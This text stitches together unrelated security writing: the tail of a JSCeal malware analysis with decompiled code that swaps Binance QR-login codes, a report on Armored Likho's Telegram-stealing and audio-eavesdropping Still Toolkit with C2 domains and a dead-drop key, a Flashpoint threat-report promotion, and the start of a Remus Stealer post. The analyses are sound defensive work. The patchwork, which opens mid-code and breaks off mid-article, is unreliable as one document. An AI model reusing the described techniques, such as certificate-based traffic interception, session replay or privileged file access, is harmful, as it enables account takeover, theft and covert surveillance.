// Continue the authentication flow and inspect the result.
}
An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage.
After authentication, the malware reads the browser’s cookies and searches specifically for:
user_id
oauth_token
The result is returned together with the password that produced it:
This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token.
The use of stealth plugins and ghost-cursor suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented.
Not every browser-related operation uses Puppeteer. A separate openLink handler launches an installed browser directly with the selected --user-data-dir and --profile-directory. Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state.
Spying functionality
The function labeled func_initializeScreenCaptureModule_0x10000d2e3 is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels — func_takeScreenshot_0x10000d2d1, func_getVisibleWindows_0x10000d2d3, func_controlWindow_0x10000d2d4, func_initKeyboardCapture_0x10000d2e1 — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module.
Interception proxy and targeted traffic manipulation
A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification.
Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using certutil to add it to the local store.
The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies.
For Binance, JSCeal intercepts the QR-login response and replaces the returned qrCode value with a configured value.
function func_appendQrCode_0x1000009f1(a0)
{
if (a0["json"]["success"])
{
r2 = a0["json"]["data"]
r2["qrCode"] = Scope[10627][2]
r2 = new {"json": null}
r2["json"] = a0["json"]
return r2
}
return undefined
}
The Bybit handlers go further. One forwards intercepted verification components through the same global_iB network client described earlier and removes them from the intercepted response.
A Ledger-specific handler intercepts /public_resources/analytics.min.js from resources.live.ledger.app and substitutes a generated script that hides the existing React root and displays configured HTML in its place.
Other utility handlers can return arbitrary HTML with a 200 response while stripping CSP and content encoding, return an empty 403 response for selected hosts, or clear selected cookies in intercepted requests and responses.
Cryptocurrency account and balance collection
JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances.
For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization.
We extracted platform identifiers from all saveBalance calls, obtaining the following list of targets:
UBITEX
PAXFUL
KRAKEN
HTX
COINSPH
TOKOCRYPTO
OKX
KCEX
HATA
COINHUB
REMITANO
NOONES
FORTUNO_MARKETS
GATEIO
BYBIT
POLONIEX
MEXC
CSGOEMPIRE
FMCPAY
BINANCE
PIONEX
KUCOIN
I3Q
DIGIFINEX
ASCENDEX
JSCeal evolution
The last JSCeal payload we observed using V8 10.2.154.26-node.25 was 0d1fce0cb2b9dec26a10f0822aeffb19, associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis.
Earlier, the JavaScript launcher had been renamed from preflight.js to preload.js and, along with this change, was itself obfuscated using the same javascript-obfuscator. The payload was also renamed to app.js. Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the .jsc extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit.
A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to 13.6.233.10-node.28. In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same javascript-obfuscator patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation.
The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on 2025-11-11 (581e2e2265d0c1509b3799c5a9039374). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks.
Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is de10c6b3dc4619f59bc9c80a0aa15e6a.
Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development.
Conclusions
JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on.
Several conclusions emerged from this work.
Format choice creates asymmetric analysis cost. Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic.
Layered obfuscation needs to be addressed with layered deobfuscation. JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence.
Static recovery can be practical without producing runnable source. View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations.
LLM-assisted naming is useful as navigation, not as evidence. Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence.
The recovered JSCeal code exposes a broad capability set. The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment.
Version sensitivity remains a tooling challenge. The move from the V8 10.2.154.26-node.25 generation to 13.6.233.10-node.28 demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable.
The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [7] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8 10.2.154.26-node.25. We are planning to add support for V8 13.6.233.10-node.28 in future releases.
The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence.
Appendix – A
Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline.
Serializing output
By default, View8 emits only a text representation of the decompiled output.
As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience.
The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass.
Splitting output
Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies.
The tree can be constructed using different relationship types: the declarer hierarchy (declarers), direct function calls (calls), or broader function references (references). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload.
Normalization of the generated function identifiers
Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient.
For reproducible output, we added the --normalize option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar func_<name>_0x<value> format while making the identifiers independent of the original heap layout.
The mapping between the original and normalized function names can optionally be exported to a CSV file using --normalize-map.
Function and line metadata
We introduced a metadata field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use.
Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively.
Hiding functions
In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines.
For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct.
There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden.
Changed representation of globals
The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code (r{number}) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the global_ prefix to each global variable.
Once the globals are parsed, their explicit definition in the start function (DeclareGlobals) is hidden.
Example:
Before:
ACCU = DeclareGlobals(["oQ", "kg", "xQ",...])
[...]
oQ = Object["create"]
kg = Object["defineProperty"]
xQ = Object["getOwnPropertyDescriptor"]
The tests were performed on 23 different payloads using V8 10.2.154.26. During two unattended test runs, documented in the repository [8] (directory sessions_23_samples), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by deobf_str1.py, so it was not included in the automated pipeline evaluation.
JSC files (original, Brotli-compressed) with corresponding bundle (build.zip):
Of the 24 payloads listed in Appendix B, 23 use the dominant string-obfuscation variant handled by deobf_str2.py. The older payload 91038aebe528a065c3e995a418db6826 uses the simpler variant handled by deobf_str1.py.
All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated — meaning that each identified obfuscated chunk was decrypted into a valid string chunk.
Complete listings are available in the repository [8] in the files named by the pattern: {md5}.deobf.txt.strings.txt.
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
Background
Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
Initial infection
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
The login form
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
How it works
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
STILL_SEND_PATH: the path to the tdata
STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.
Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
--version: prints version information and exits.
--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
--db: turns on debug mode with detailed logging.
Example Still Sync logs
Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
Motherboard serial number
CPU ID
System UUID
BIOS serial number
Computer domain name
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
enabled: triggers malicious activity on the infected device.
scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.
These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
Telegram data collection
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
C:\: used for the extended search (if the scan_portable option is on).
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
snapshot_id: an identifier the server assigns to the current data snapshot.
present: a list of file paths that are already present on the server.
This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
Creating a backup copy through the Shadow Copy service and reading files from there
If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode
Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
User details, such as username, phone number, first and last name
Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
Dialogs from private chats, groups, and channels (if the download_channels option is on)
Media files under 250MB: photos, documents, stickers, and contacts
Still Audio
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
While running in the background, it creates a file, logfile.log, to write logs to.
Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
Encrypted C2 address inside the GitHub repository
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
machine_id: a unique identifier for the current device.
vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
max_buffer_size: the maximum buffer size for recorded audio data.
active_device: the name of the input device selected for recording, from the list of available devices.
The eavesdropping process
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
The malicious module in the list of apps using the microphone
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
Infrastructure
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.
Domain
IP address
Registration date
ASN
orderapiserver[.]info
187.127.153[.]38
April 18, 2026
47583
tg4service[.]com
159.198.37[.]74
October 4, 2025
22612
srwinservice[.]com
213.252.244[.]123
March 19, 2026
61272
screenserv[.]com
23.26.237[.]250
February 13, 2026
149440
windowserv[.]net
23.27.24[.]30
February 10, 2026
149440
managementapiservice[.]com
188.212.124[.]178
May 1, 2026
202448
service8date[.]com
145.223.69[.]143
January 13, 2026
215311
updateservs[.]com
145.223.68[.]66
December 23, 2025
215311
Victims
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
Attribution
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.
Takeaways
The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing
Threat actors are no longer just using automation to execute tasks, they are leveraging prepackaged, safeguard-free AI, weaponizing stolen session data, and directly targeting defenders’ security stacks.
The threat landscape has developed at a striking pace with Flashpoint tracking over 22 million illicit AI discussions, 7.4 million compromised hosts yielding 1.7 billion stolen credentials, and over 21,600 disclosed vulnerabilities in just six months. Beyond these staggering numbers, the on-demand session detailed something even more alarming: a fundamental shift in adversary operational tradecraft.
Here are the five critical shifts every cyber threat intelligence (CTI), Vulnerability Management, and SOC team needs to know.
The Death of Signal: Threat Actors are Shifting to “Private AI”
The public discussion surrounding criminal artificial intelligence (AI) has reached a critical inflection point. Early in the AI boom, Flashpoint observed threat actors collaboratively experiment across underground forums, jailbreaking commercial frontier models or advertising surface-level tools like WormGPT and DarkGPT.
Today, adversaries are shifting from public forums to running fine-tuned, open-source models locally on private servers, which greatly hampers traditional signature-based detection. Flashpoint analysts are now seeing attackers generate unique, highly tailored malware variants, flawless phishing lures, and custom exploit scripts at extremely low costs—completely offline and shielded from public monitoring.
“A few months ago, a lot of this was collaborative… public outsourcing. Now what we’re seeing is scarier: pre-packaged cybercrime models run locally on private infrastructure. Malicious code, exploit scripts, and targeted phishing are all being generated inside closed environments.”
Ian Gray, VP of Intelligence, Flashpoint
Weaponizing the Defender’s Own Tooling
Another eye-opening tactical insight shared during the session was how threat actors are repurposing defender infrastructure for automated initial access and extortion. In the webinar, we pointed to recent campaigns where adversaries specifically targeted misconfigurations and zero-day vulnerabilities inside open-source vulnerability scanners, secrets-detection tools, Kubernetes clusters, and Infrastructure-as-Code(IaC) environments.
What this means for defenders is that the attack surface is no longer bounded by traditional enterprise network boundaries: it extends directly into CI/CD pipelines, security orchestration tooling, and third-party SaaS integrations. Security teams are finding themselves in a race against attackers who use automated scanning scripts to weaponize vulnerabilities in the security tools themselves.
The Global Infostealer Threat and Identity-First Attacks
Flashpoint tracked 7.4 million hosts compromised by infostealers in H1 2026—a 27% increase period-over-period—harvesting 1.7 billion credentials and identity information.
While the top infostealer strains remain familiar, law enforcement operations have created vacuums that competitors rapidly fill.
Threat actors are leveraging drive-by downloads, watering holes, and pirated software packages to plant stealers. Once a machine is compromised, the logs capture corporate SSO credentials, active browser cookies, VPN keys, and SaaS session tokens. This enables adversaries to simply log in without having to leverage complex technical exploits.
The Structural Failure of CVE/NVD and the Importance of KEV
The Common Vulnerabilities and Exposures (CVE) and National Vulnerability Database (NVD) have failed to keep pace with the velocity of AI-assisted vulnerability discovery. As such, vulnerability management teams are facing significant operational delays.
Metric
Flashpoint GTIR Midyear H1 2026 Data
Operational Impact
Total Disclosures
21,667
Remediation volume exceeds defender bandwidth.
Exploit Availability
19% (4,015 CVEs)
Functional code is ready before patches are deployed.
Public Catalog Lag
Growing Backlog (NVD/KEV)
Delay in official scoring leaves teams blind to active risk.
Therefore, waiting for NVD enrichment before prioritizing a patch is a dangerous strategy. To compensate, security teams require Vulnerability Intelligence (VI) that provides primary-source confirmation of weaponization, exploit availability, and actionable mitigation guidance long before public databases update.
Ransomware Evolution: From Encryption to Cloud Extortion
Ransomware-as-a-Service (RaaS) activity surged by 45% period-over-period, reaching 6,256 verified victim postings on data leak sites. However, total on-chain payout revenue dropped by 8% to $820 million, with victim pay-rates hitting a record low of 28%.
Faced with declining payouts and resilient enterprise backups, extortion syndicates are adapting. Rather than relying exclusively on technical file-encrypting malware, groups are executing pure data extortion campaigns—frequently targeting cloud platforms or extracting data through third-party vendor access.
Protect Your Organization Using Flashpoint
Defending against machine-speed attacks requires moving beyond reactive, post-incident telemetry. Flashpoint arms security, CTI, and vulnerability management teams with the primary-source intelligence required to preempt adversary operations:
Unrivaled Deep & Dark Web Visibility: Flashpoint’s Primary Source Collection actively monitors closed criminal communities, illicit Telegram channels, and private forums, giving you early warning when threat actors build custom AI toolkits or trade credentials targeting your organization.
Comprehensive Vulnerability Intelligence (VI): Flashpoint tracks zero-days and vulnerability disclosures independently, delivering immediate exploit availability data and threat-informed prioritization so you patch what actually matters.
Continuous Compromised Credential Monitoring: Instantly surface exposed enterprise credentials, active session tokens, and stealer logs tied to your domain or third-party supply chain before they lead to an account takeover (ATO).
In the first half of 2026, the global threat landscape reached a clear operational inflection point: threat operations have fundamentally transitioned from human-led campaigns to machine-speed, AI-driven exploitation. As threat actors gain commoditized access to open-source AI technologies and actively deploy automated, safeguard-free tooling locally on private infrastructure, organizations face an accelerating hybrid risk environment.
Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition
The Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition anchors security leaders—from threat intelligence, vulnerability management, to executive leadership—in the data required to navigate this evolving threat landscape. Covering the period from January 1 to June 30, 2026, the report delivers timely insights backed by Flashpoint’s proprietary primary-source collection from over 3.9 petabytes of continuously monitored illicit sources.
Our midyear findings reveal several key metrics that highlight the speed and scale of the H1 2026 threat landscape:
22M+ threat actor posts discussed, shared, or advertised artificial intelligence toolkits for criminal deployment.
1.7B credentials and identity data points extracted across more than 7.4M unique compromised hosts globally.
Nearly one-in-five (19%) of all vulnerability disclosures dropped with ready-made, functional exploit code.
45% period-over-period surge in Ransomware-as-a-Service (RaaS), with total victim volume reaching 6,256 even as victim payout rates dropped to a historic low of 28%.
A Clear Understanding of the Convergence Between AI and Cyber Threats From generating flawless phishing campaigns to automating vulnerability scanning and code obfuscation, discover how adversaries are optimizing for speed and cost-efficiency — utilizing AI as a force multiplier in their various illicit campaigns.
A Comprehensive Top-Down View of the Evolving Threat Landscape Gain full visibility of the threat landscape with Flashpoint’s primary-source collections and real-time threat intelligence.
Strategies for Proactive Defense and Risk Mitigation Move your organization beyond reactive incident response by leveraging Flashpoint’s comprehensive threat intelligence. Gain the foresight needed to strengthen defenses and optimize your security posture.
“AI is compressing the time between opportunity and exploitation. Capabilities that once took significant expertise, coordination, and time to develop are becoming faster to build, easier to scale, and harder to detect. Security teams are facing an adversary ecosystem that can use AI to iterate at unprecedented speed — the only way to keep pace is with primary-source intelligence that surfaces adversary behavior before attacks unfold.”
Josh Lefkowitz, Flashpoint Co-Founder & CEO
The Four Driving Themes Shaping the 2026 Threat Landscape
Artificial Intelligence (AI) Threats
During the first half of 2026, Flashpoint captured over 22M illicit posts discussing or advertising AI for criminal-related activities. By stripping ethical safeguards, custom malicious LLMs allow unsophisticated threat actors to automate complex phases of the attack lifecycle, including target profiling, malware evasion script creation, and zero-day exploit generation.
Information-Stealing Malware Threats
Infostealer malware harvested 1.7 billion credentials across 7.4 million compromised systems in H1 2026 alone, turning digital identity into the main entry point for enterprise intrusions.
Vulnerability Intelligence and Patching Management
19% (4,015) of all H1 2026 vulnerability disclosures arrived with ready-made exploit code. Adversaries deploy automated replication scripts almost immediately upon disclosure, eliminating manual remediation windows.
Ransomware Operations, Multi-Extortion Cartels, and Financial Risk
Despite a 45% surge in victim volume (6,256 overall), total on-chain revenue fell by 8% to $820M. Improved enterprise backups and incident response have driven payout rates down to 28%, prompting syndicates to demand larger sums from paying victims.
Proactive Security in 2026 and Beyond
The data shows that traditional enterprise security organizations are struggling to keep pace with modern threat cycles that are accelerated by illicit uses of AI. This continued convergence of AI engines and initial access vectors have further compressed attack timelines, making it nearly impossible for security teams to defend against them—especially if they are limited by traditional approaches to threat intelligence.
Equipping your team with primary-source threat intelligence is critical for protecting critical assets in 2026. Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain the visibility and strategic clarity required to defend your organization.
The underground marketplace rarely stays quiet for long. A new information-stealing malware dubbed Remus Stealer has surfaced in the cybercrime underground, exhibiting significant similarities to the notorious Lumma malware family across its administration panel, stolen log files, and core code structure.
Despite parallels in its code and functionality, threat actors are eagerly buying into the platform. In addition to its familiar features, it provides attackers with a distinct, modern command and control (C2) and networking infrastructure designed to slip past current security perimeters.
What We Know About Remus
Flashpoint first observed Remus appearing for sale within illicit communities in March 2026. The malware listing offers similar functionality to other popular Malware-as-a-Service (MaaS) offerings, including Google OAuth cookie restoration and Telegram channel integration for logs.
